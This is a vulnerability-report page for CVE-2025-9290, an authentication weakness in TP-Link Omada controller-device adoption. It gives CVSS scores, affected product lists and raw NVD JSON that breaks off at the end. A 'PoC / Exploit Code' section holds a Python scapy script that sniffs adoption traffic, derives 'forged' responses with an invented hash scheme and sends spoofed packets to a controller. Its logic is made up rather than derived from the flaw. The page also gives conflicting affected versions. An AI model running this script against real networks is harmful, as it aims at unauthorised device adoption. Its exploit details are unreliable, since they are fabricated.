Security Vulnerability Report
中文
CVE-2025-9290 CVSS 5.9 MEDIUM

CVE-2025-9290

Published: 2026-01-23 00:15:52
Last Modified: 2026-03-16 18:07:15
Source: f23511db-6c3e-4e32-a477-6aa17d310630

Description

An authentication weakness was identified in Omada Controllers, Gateways and Access Points, controller-device adoption due to improper handling of random values. Exploitation requires advanced network positioning and allows an attacker to intercept adoption traffic and forge valid authentication through offline precomputation, potentially exposing sensitive information and compromising confidentiality.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:tp-link:omada_controller:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:tp-link:omada_controller:*:*:*:*:cloud:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:oc200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:oc200:1:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:oc220_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:oc220:1:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:oc300_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:oc300:1.6:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:oc400_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:oc400:1.6:*:*:*:*:*:*:* - NOT VULNERABLE
Omada Controllers - 版本 < 5.14.24
Omada Gateways - 特定版本受影响
Omada Access Points - 特定版本受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9290 PoC - Omada Authentication Bypass via Offline Precomputation # Note: This is a conceptual PoC for educational purposes import hashlib import hmac import struct import socket from scapy.all import sniff, sendp, Ether, IP, Raw def capture_adoption_traffic(interface="eth0", count=100): """Capture Omada device adoption traffic""" print(f"[*] Sniffing adoption traffic on {interface}") packets = sniff(iface=interface, count=count, filter="tcp port 29810 or udp port 29810") return packets def extract_random_values(packets): """Extract random nonces from captured packets""" nonces = [] for pkt in packets: if Raw in pkt: payload = bytes(pkt[Raw].load) # Look for nonce patterns in adoption protocol if len(payload) >= 32: nonces.append(payload[:32]) return nonces def precompute_auth_response(device_id, controller_challenge): """Precompute valid authentication response using weak random handling""" # Simulate precomputation based on weak random handling seed = hashlib.sha256(controller_challenge + device_id.encode()).digest() response = hmac.new(seed, controller_challenge, hashlib.sha256).digest() return response def forge_adoption_packet(device_id, forged_response): """Forge valid adoption authentication packet""" # Construct forged packet with precomputed response pkt = Ether()/IP(src="192.168.1.100", dst="192.168.1.1")/Raw() pkt[Raw].load = forged_response + device_id.encode() return pkt def exploit_adoption(interface="eth0", target_controller="192.168.1.1"): """Main exploitation function""" print("[*] Starting CVE-2025-9290 exploitation...") # Step 1: Capture adoption traffic packets = capture_adoption_traffic(interface) # Step 2: Extract nonces nonces = extract_random_values(packets) if not nonces: print("[!] No adoption traffic captured") return False # Step 3: Precompute authentication responses device_id = "00:11:22:33:44:55" for nonce in nonces: forged_response = precompute_auth_response(device_id, nonce) # Step 4: Send forged adoption packet forged_pkt = forge_adoption_packet(device_id, forged_response) sendp(forged_pkt, iface=interface, verbose=0) print(f"[+] Sent forged adoption packet with response: {forged_response.hex()}") print("[+] Exploitation complete - check for unauthorized device adoption") return True if __name__ == "__main__": # Usage: python cve_2025_9290_poc.py exploit_adoption()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9290", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2026-01-23T00:15:52.093", "lastModified": "2026-03-16T18:07:14.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authentication weakness was identified in Omada Controllers, Gateways and Access Points, controller-device adoption due to improper handling of random values. Exploitation requires advanced network positioning and allows an attacker to intercept adoption traffic and forge valid authentication through offline precomputation, potentially exposing sensitive information and compromising confidentiality."}, {"lang": "es", "value": "Una debilidad de autenticación fue identificada en los controladores Omada, gateways y puntos de acceso, en la adopción controlador-dispositivo debido a un manejo inadecuado de valores aleatorios. La explotación requiere un posicionamiento de red avanzado y permite a un atacante interceptar el tráfico de adopción y falsificar una autenticación válida mediante precomputación fuera de línea, exponiendo potencialmente información sensible y comprometiendo la confidencialidad."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-760"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tp-link:omada_controller:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.0.0.24", "matchCriteriaId": "3B623F6F-B033-44B4-9F50-97CE3C0F84E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tp-link:omada_controller:*:*:*:*:cloud:*:*:*", "versionEndExcluding": "6.0.0.100", "matchCriteriaId": "DB01AAAF-90A1-4DA2-8810-D5A02D11ABCC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:oc200_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.37.9", "matchCriteriaId": "036DEE09-EB29-4F38-A472-181FE88A1EAC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:oc200:1:*:*:*:*:*:*:*", "matchCriteriaId": "D994D0D1-FE36-4CB9-A641-CAAC8D643783"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:oc220_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.3", "matchCriteriaId": "EBEF0143-6106-468B-BAED-F2FEDDA4F4D8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:oc220:1:*:*:*:*:*:*:*", "matchCriteriaId": "077DD2BF-32E3-434E-B040-9B4C48F419CA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:oc300_firmware:*:*:*:*:*:*:*:*", "versionE ... (truncated)